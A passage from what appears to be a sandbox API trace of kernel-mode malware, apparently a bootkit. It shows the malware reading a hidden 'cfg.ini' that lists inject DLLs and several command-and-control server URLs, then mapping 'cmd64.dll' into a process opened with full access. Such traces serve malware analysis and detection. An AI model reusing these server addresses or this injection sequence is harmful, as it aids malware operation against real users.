| out: FastMutex=0xfffffa80027d3898) [0078.313] KeLeaveCriticalRegion () [0078.313] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.313] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.313] KeEnterCriticalRegion () [0078.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.313] ExFreePoolWithTag (P=0xfffffa8003660280, Tag=0x0) [0078.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.313] KeLeaveCriticalRegion () [0078.313] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.313] ZwClose (Handle=0xffffffff800003ec) returned 0x0 [0078.313] KeSetEvent (in: Event=0xfffffa8003661050, Increment=0x0, Wait=0 | out: Event=0xfffffa8003661050) returned 0 [0080.714] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x33c, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800003f0) returned 0x0 [0080.714] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0080.714] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0080.714] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.714] KeEnterCriticalRegion () [0080.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.714] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0080.714] IdePortDispatch () returned 0x103 [0080.714] KeWaitForMutexObject () returned 0x0 [0080.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0080.714] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0080.714] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0080.714] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0080.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800366ec20 [0080.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.714] KeLeaveCriticalRegion () [0080.714] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.714] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0080.714] NtLockFile (in: FileHandle=0xffffffff800003f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0080.714] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.714] KeEnterCriticalRegion () [0080.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0080.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.714] KeLeaveCriticalRegion () [0080.714] ZwQueryInformationFile (in: FileHandle=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0080.714] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.714] KeEnterCriticalRegion () [0080.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.715] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0080.715] IdePortDispatch () returned 0x103 [0080.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0080.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.715] KeLeaveCriticalRegion () [0080.715] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.715] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000bce8f0 [0080.715] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0080.715] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0080.715] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0080.715] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0080.715] ZwReadFile (in: FileHandle=0xffffffff800003f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bce8f0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bce8f0*) returned 0x0 [0080.715] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.715] KeEnterCriticalRegion () [0080.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5f8f0 [0080.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa80036705e0 [0080.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036705e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036705e0) [0080.715] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0080.715] IdePortDispatch () returned 0x103 [0080.715] KeWaitForMutexObject () returned 0x0 [0080.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0080.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa80036705e0 [0080.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036705e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036705e0) [0080.716] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0080.716] IdePortDispatch () returned 0x103 [0080.716] KeWaitForMutexObject () returned 0x0 [0080.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.716] KeLeaveCriticalRegion () [0080.716] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.716] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0080.716] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0080.716] strncpy (in: _Dest=0xfffffa800cbf0de4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0080.716] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0080.716] ExFreePoolWithTag (P=0xfffff8a000bce8f0, Tag=0x0) [0080.716] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0080.716] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.716] KeEnterCriticalRegion () [0080.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.716] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0080.716] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800cbf0a90, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0080.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.716] KeLeaveCriticalRegion () [0080.716] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.716] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.716] KeEnterCriticalRegion () [0080.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.716] ExFreePoolWithTag (P=0xfffffa800366ec20, Tag=0x0) [0080.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.716] KeLeaveCriticalRegion () [0080.716] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.716] KeStackAttachProcess (in: PROCESS=0xfffffa800368d9e0, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa800368d9e0, ApcState=0xfffff88002f9da58) [0080.716] _snwprintf (in: _Dest=0xfffffa800cbf0bdc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0080.716] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0080.716] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0080.716] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0080.716] KeEnterCriticalRegion () [0080.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.717] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0080.717] IdePortDispatch () returned 0x103 [0080.717] KeWaitForMutexObject () returned 0x0 [0080.717] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0080.717] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0080.717] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.717] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.717] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.717] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0080.717] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0080.717] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0080.717] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0080.717] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0080.717] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800367c0c0 [0080.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.717] KeLeaveCriticalRegion () [0080.717] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.717] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800003f4 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0080.717] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0080.717] KeEnterCriticalRegion () [0080.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.717] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0080.717] IdePortDispatch () returned 0x103 [0080.717] KeWaitForMutexObject () returned 0x0 [0080.717] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0080.717] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0080.717] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.717] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.717] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.717] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0080.718] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0080.718] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0080.718] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0080.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.718] KeLeaveCriticalRegion () [0080.718] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.718] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800003f0, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0080.718] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0080.718] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0080.718] KeEnterCriticalRegion () [0080.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c60000 [0080.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.718] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.718] IdePortDispatch () returned 0x103 [0080.718] KeWaitForMutexObject () returned 0x0 [0080.718] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0080.718] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0080.718] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.718] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.718] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0080.718] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0080.718] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0080.718] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0080.718] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0080.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.718] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.718] IdePortDispatch () returned 0x103 [0080.718] KeWaitForMutexObject () returned 0x0 [0080.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.719] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.719] IdePortDispatch () returned 0x103 [0080.719] KeWaitForMutexObject () returned 0x0 [0080.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.719] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.719] IdePortDispatch () returned 0x103 [0080.719] KeWaitForMutexObject () returned 0x0 [0080.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.719] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.719] IdePortDispatch () returned 0x103 [0080.719] KeWaitForMutexObject () returned 0x0 [0080.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.720] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.720] IdePortDispatch () returned 0x103 [0080.720] KeWaitForMutexObject () returned 0x0 [0080.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.720] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.720] IdePortDispatch () returned 0x103 [0080.720] KeWaitForMutexObject () returned 0x0 [0080.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.720] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.720] IdePortDispatch () returned 0x103 [0080.720] KeWaitForMutexObject () returned 0x0 [0080.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.720] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.720] IdePortDispatch () returned 0x103 [0080.721] KeWaitForMutexObject () returned 0x0 [0080.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.721] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.721] IdePortDispatch () returned 0x103 [0080.721] KeWaitForMutexObject () returned 0x0 [0080.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.721] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.721] IdePortDispatch () returned 0x103 [0080.721] 